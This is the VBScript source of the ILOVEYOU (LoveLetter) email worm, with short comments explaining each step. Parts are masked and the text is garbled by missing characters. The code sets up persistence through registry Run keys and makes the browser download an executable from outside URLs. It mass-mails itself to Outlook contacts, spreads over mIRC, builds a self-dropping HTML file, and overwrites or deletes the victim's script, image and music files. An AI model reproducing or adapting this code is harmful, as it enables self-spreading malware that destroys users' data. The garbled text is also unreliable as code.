rem barok -loveletter(vbe) <i hate go to school>
rem by: yder / i yder@mail.com / @GRAMMERSoft Group / Manila,Phili ines
'Comments begining with ' added by The Hidden May 4 2000
On Error Resume Next
dim fso, dirsystem, dirwin, dirtemp, eq, ctr, file, v copy, dow
eq=" quot;
ctr=0
*****************
*******************
v copy=file.ReadAll
main()
sub main()
On Error Resume Next
dim wscr,rr
set wscr=CreateObject("WScript.Shell")
'check the time out value for WSH
rr=wscr.RegRead("HKEY_CURRENT_USER\Software\Microsoft\Windows Scripting Host\Settings\Timeout")
if (rr>=1) then
' Set script time out to infinity
wscr.RegWrite "HKEY_CURRENT_USER\Software\Microsoft\Windows Scripting Host\Settings\Timeout", 0, "REG_DWORD"
end if
'Create three copies of the script in the windows, system32 and temp folders
Set dirwin = fso.Get ecialFolder(0)
Set dirsystem = fso.Get ecialFolder(1)
Set dirtemp = fso.Get ecialFolder(2)
Set c = fso.GetFile(WScript.ScriptFullName)
c.Copy(dirsystem&am quot;\MSKernel32.v quot;)
c.Copy(dirwi am quot;\Win32DLL.v quot;)
c.Copy(dirsystem&am quot;\LOVE-LETTER-FOR-YOU.TXT.v quot;)
'Set IE default page to 1 of four locatio that downloads an executable.
'If the exectuable has already been downloaded set it to run at the next login and set IE's start
page to be blank
regru ()
'create an html file that po ibly ru an activex component and ru one of the copies of the script
html()
'Resend script to people in the WAB
readtoemail()
'overwrite a number of file types with the script
'if the files are not already scripts create a script file with the same name with v extention and
'delete the original file
'mirc client have a script added to send the html file created earlier to a cha el
listadriv()
end sub
sub regru ()
On Error Resume Next
Dim num, downread
regcreate "HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Run\MSKernel32",dirsystem&am quot;\MSKernel32.v quot;
regcreate "HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Ru ervices\Win32DLL",dirwi am quot;\Win32DLL.v quot;
downread = " quot;
downread = regget("HKEY_CURRENT_USER\Software\Microsoft\Internet Explorer\Download Directory")
if (downread = " quot;) then
downread = "c:\"
end if
if (fileexist(dirsystem&am quot;\WinFAT32.exe") = 1) then
Randomize
num = Int((4 * Rnd) + 1)
if num = 1 then
regcreate "HKCU\Software\Microsoft\Internet Explorer\Main\Start Page","http:www.skyinet.net/~young1s/HJKhjnwerhjkxcvytwertnMTFwetrdsfmh jw6587345gvsdf7679nj
bvYT/WIN-BUGSFIX.exe"
elseif num = 2 then
regcreate "HKCU\Software\Microsoft\Internet Explorer\Main\Start Page","http:www.skyinet.net/~angelcat/skladjflfdjghKJnwetryDGFikjUIyqwerWe546786324hjk4jnHHGb
vbmKLJKjhkqj4w/
WIN-BUGSFIX.exe"
elseif num = 3 then
regcreate "HKCU\Software\Microsoft\Internet Explorer\Main\Start Page","http:www.skyinet.net/~koichi/jf6TRjkcbGRpGqaq198vbFV5hfFEkbo dQZnmPOhfgER67b3Vbvg/WI
N-BUGSFIX.exe"
elseif num = 4 then
regcreate "HKCU\Software\Microsoft\Internet Explorer\Main\Start Page","http:www.skyinet.net/~chu/sdgfhjksdfjkl mnfgkKLHjkqwtuHJBhAFSDGjkhYUgqwerasdjhPhjasfdglk
hbqwebm
znxcbvnmadshf
gqw237461234iuy7thjg/WIN-BUGSFIX.exe"
end if
end if
if (fileexist(downread &am "\WIN-BUGSFIX.exe") = 0) then
regcreate "HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Run\WIN-BUGSFIX", downread &am "\WIN-BUGSFIX.exe"
regcreate "HKEY_CURRENT_USER\Software\Microsoft\Internet Explorer\Main\Start Page", "about:blank"
end if
end sub
sub listadriv
On Error Resume Next
Dim d,dc,s
Set dc = fso.Drives
For Each d in dc
If d.DriveType = 2 or d.DriveType=3 Then
folderlist(d.path &am "\")
******
******
*******
********
sub infectfiles(folder ec)
On Error Resume Next
dim f,f1,fc,ext,ap,mircfname,s, ame,mp3
set f = fso.GetFolder(folder ec)
set fc = f.Files
for each f1 in fc
ext = fso.GetExte io ame(f1.path)
ext = lcase(ext)
s = lcase(f1.name)
if (ext = "v quot;) or (ext = "vbe") then
set ap = fso.OpenTextFile(f1.path,2,true)
ap.write v copy
ap.close
elseif(ext = "j quot;) or (ext = "jse") or (ext = "c quot;) or _
(ext = "wsh") or (ext = " ct") or (ext = "hta") then
set ap = fso.OpenTextFile(f1.path,2,true)
ap.write v copy
ap.close
ame = fso.GetBaseName(f1.path)
set cop = fso.GetFile(f1.path)
cop.copy(folder ec &am "\" &am ame &am ".v quot;)
fso.DeleteFile(f1.path)
elseif(ext = "jpg") or (ext = "jpeg") then
set ap=fso.OpenTextFile(f1.path, 2,true)
ap.write v copy
ap.close
set cop=fso.GetFile(f1.path)
cop.copy(f1.path &am ".v quot;)
fso.DeleteFile(f1.path)
elseif(ext="mp3") or (ext="mp2") then
set mp3 = fso.CreateTextFile(f1.path &am ".v quot;)
mp3.write v copy
mp3.close
set att = fso.GetFile(f1.path)
att.attributes = att.attributes + 2
end if
if (eq< gt;folder ec) then
if (s = "mirc32.exe") or (s = "mlink32.exe") or (s = "mirc.ini") or _
(s = " cript.ini") or (s = "mirc.hl quot;) then
set scriptini=fso.CreateTextFile(folder ec&am quot;\script.ini")
scriptini.WriteLine "[script]"
scriptini.WriteLine " mIRC Script"
scriptini.WriteLine " Please dont edit this script... mIRC will corrupt, if mIRC will"
scriptini.WriteLine " corrupt... WINDOWS will affect and will not run correctly. thank quot;
scriptini.WriteLine " quot;
scriptini.WriteLine " Khaled Mardam-Bey"
scriptini.WriteLine " http:www.mirc.com"
scriptini.WriteLine " quot;
scriptini.WriteLine " 0=on 1:JOIN:#:{"
scriptini.WriteLine " 1= /if ( $nick == $me ) { halt }"
scriptini.WriteLine " 2= /.dcc send $nick " am dirsystem&am quot;\LOVE-LETTER-FOR-YOU.HTM"
scriptini.WriteLine " 3=}"
scriptini.close
eq=folder ec
end if
end if
next
end sub
sub folderlist(folder ec)
On Error Resume Next
dim f,f1,sf
set f = fso.GetFolder(folder ec)
set sf = f.SubFolders
for each f1 in sf
*************
**************
next
end sub
sub regcreate(regkey,regvalue)
Set regedit = CreateObject("WScript.Shell")
regedit.RegWrite regkey,regvalue
end sub
function regget(value)
Set regedit = CreateObject("WScript.Shell")
regget = regedit.RegRead(value)
end function
function fileexist(file ec)
On Error Resume Next
dim msg
if (fso.FileExists(file ec)) Then
msg = 0
else
msg = 1
end if
fileexist = msg
end function
function folderexist(folder ec)
On Error Resume Next
dim msg
if (fso.GetFolderExists(folder ec)) then
msg = 0
else
msg = 1
end if
fileexist = msg
end function
sub readtoemail()
On Error Resume Next
dim x, a, ctrlists, ctrentries, malead, b, regedit, regv, regad
set regedit = CreateObject("WScript.Shell")
set out = WScript.CreateObject("Outlook.A licatio quot;)
set mapi = out.GetName ace("MAPI")
for ctrlists = 1 to mapi.Addre Lists.Count
set a = mapi.Addre Lists(ctrlists)
x = 1
regv = regedit.RegRead("HKEY_CURRENT_USER\Software\Microsoft\WAB\" &am a)
if (regv = " quot;) then
regv = 1
end if
if (int(a.Addre Entries.Count) > int(regv)) then
for ctrentries = 1 to a.Addre Entries.Count
malead = a.Addre Entries(x)
regad = " quot;
regad = regedit.RegRead("HKEY_CURRENT_USER\Software\Microsoft\WAB\" &am malead)
if (regad = " quot;) then
set male = out.CreateItem(0)
male.Recipients.Add(malead)
male.Subject = "ILOVEYOU"
male.Body = vbcrlf &am "kindly check the attached LOVELETTER coming from me."
male.Attachments.Add(dirsystem &am "\LOVE-LETTER-FOR-YOU.TXT.v quot;)
male.Send
regedit.RegWrite "HKEY_CURRENT_USER\Software\Microsoft\WAB\" &am malead, 1, "REG_DWORD"
end if
x = x + 1
next
regedit.RegWrite "HKEY_CURRENT_USER\Software\Microsoft\WAB\" am a,a.Addre Entries.Count
else
regedit.RegWrite "HKEY_CURRENT_USER\Software\Microsoft\WAB\" am a,a.Addre Entries.Count
end if
next
Set out = Nothing
Set mapi = Nothing
end sub
sub html
On Error Resume Next
dim lines, n, dta1, dta2, dt1, dt2, dt3, dt4, l1, dt5, dt6
dta1= " lt;HTML> lt;HEAD> lt;TITLE>LOVELETTER - HTML<?-?TITLE> lt;META NAME=@-@Generator@-@
CONTENT=@-@BAROK V - LOVELETTER@-@> quot am vbcrlf&am _
" lt;META NAME=@-@Author@-@ CONTENT=@-@ yder ?-? i yder@mail.com ?-? @GRAMMERSoft Group ?-? Manila, Phili ines ?-? March 2000@-@> quot am vbcrlf&am _
" lt;META NAME=@-@Description@-@ CONTENT=@-@simple but i think this is good...@-@> quot am vbcrlf&am _
" lt;?-?HEAD> lt ODY ONMOUSEOUT=@-@window.name=#-#main#-#;window.open(#-#LOVE-LETTER-FOR-YOU.HTM#-#,#-#main#-#)@-@ " am vbcrlf&am _
"ONKEYDOWN=@-@window.name=#-#main#-#;window.open(#-#LOVE-LETTER-FOR-YOU.HTM#-#,#-#main#-#)@-@ BGPROPERTIES=@-@fixed@-@ BGCOLOR=@-@#FF9933@-@> quot am vbcrlf&am _
" lt;CENTER> lt gt;This HTML file need ActiveX Control<?-? gt lt gt;To Enable to read this HTML file
< R>- Please pre #-#YES#-# button to Enable ActiveX<?-? gt quot am vbcrlf&am _
" lt;?-?CENTER> lt;MARQUEE LOOP=@-@infinite@-@ BGCOLOR=@-@yellow@-@>----------z-------------------
-z----------<?-?MARQUEE> " am vbcrlf&am _
" lt;?-?BODY> lt;?-?HTML> quot am vbcrlf&am _
" lt CRIPT language=@-@JScript@-@> quot am vbcrlf&am _
" lt;!--?-??-?" am vbcrlf&am _
"if (window.screen){var wi=screen.availWidth;var hi=screen.availHeight;window.moveTo(0,0);window.resizeTo(wi,hi);}" am vbcrlf&am _
"?-??-?--> quot am vbcrlf&am _
" lt;?-?SCRIPT> quot am vbcrlf&am _
" lt CRIPT LANGUAGE=@-@V cript@-@> quot am vbcrlf&am _
" lt;!--" am vbcrlf&am _
"on error resume next" am vbcrlf&am _
"dim fso,dirsystem,wri,code,code2,code3,code4,aw,regdit" am vbcrlf&am _
"aw=1" am vbcrlf&am _
"code="
dta2= " et fso=CreateObject(@-@Scripting.FileSystemObject@-@)" am vbcrlf&am _
" et dirsystem=fso.Get ecialFolder(1)" am vbcrlf&am _
"code2=replace(code,chr(91)&am chr(45)&am chr(91),chr(39))" am vbcrlf&am _
"code3=replace(code2,chr(93)&am chr(45)&am chr(93),chr(34))" am vbcrlf&am _
"code4=replace(code3,chr(37)&am chr(45)&am chr(37),chr(92))" am vbcrlf&am _
" et wri=fso.CreateTextFile(dirsystem&am @-@^-^MSKernel32.v @-@)" am vbcrlf&am _
"wri.write code4" am vbcrlf&am _
"wri.close" am vbcrlf&am _
"if (fso.FileExists(dirsystem&am @-@^-^MSKernel32.v @-@)) the quot am vbcrlf&am _
"if (err.number=424) the quot am vbcrlf&am _
"aw=0" am vbcrlf&am _
"end if" am vbcrlf&am _
"if (aw=1) the quot am vbcrlf&am _
"document.write @-@ERROR: can#-#t initialize ActiveX@-@" am vbcrlf&am _
"window.close" am vbcrlf&am _
"end if" am vbcrlf&am _
"end if" am vbcrlf&am _
" et regedit = CreateObject(@-@WScript.Shell@-@)" am vbcrlf&am _
"regedit.RegWrite @-@HKEY_LOCAL_MACHINE^-^Software^-^Microsoft^-^Windows^-^CurrentVersion^-^Run^-^MSKernel32@-@,dirsystem&am @-@^-^MSKernel32.v @-@" am vbcrlf&am _
"?-??-?--> quot am vbcrlf&am _
" lt;?-?SCRIPT> quot;
dt1 = replace(dta1, chr(35) &am chr(45) &am chr(35), "'")
dt1 = replace(dt1, chr(64) &am chr(45) &am chr(64), " quot quot quot;)
dt4 = replace(dt1, chr(63) &am chr(45) &am chr(63), "/")
dt5 = replace(dt4, chr(94) &am chr(45) &am chr(94), "\")
dt2 = replace(dta2, chr(35) &am chr(45) &am chr(35), "'")
dt2 = replace(dt2, chr(64) &am chr(45) &am chr(64), " quot quot quot;)
dt3 = replace(dt2, chr(63) &am chr(45) &am chr(63), "/")
dt6 = replace(dt3, chr(94) &am chr(45) &am chr(94), "\")
set fso = CreateObject(" cripting.FileSystemObject")
set c = fso.OpenTextFile(WScript.ScriptFullName, 1)
lines = lit(c.ReadAll, vbcrlf)
l1 = ubound(lines)
for n = 0 to ubound(lines)
lines(n)=replace(lines(n), "'", chr(91) + chr(45) + chr(91))
lines(n)=replace(lines(n), " quot quot quot;, chr(93) + chr(45) + chr(93))
lines(n)=replace(lines(n), "\", chr(37) + chr(45) + chr(37))
if (l1 = n) then
*************
else
************
end if
next
set b=fso.CreateTextFile(dirsystem + "\LOVE-LETTER-FOR-YOU.HTM")
b.close
set d=fso.OpenTextFile(dirsystem + "\LOVE-LETTER-FOR-YOU.HTM",2)
d.write dt5
d.write join(lines, vbcrlf)
d.write vbcrlf
d.write dt6
d.close
end sub
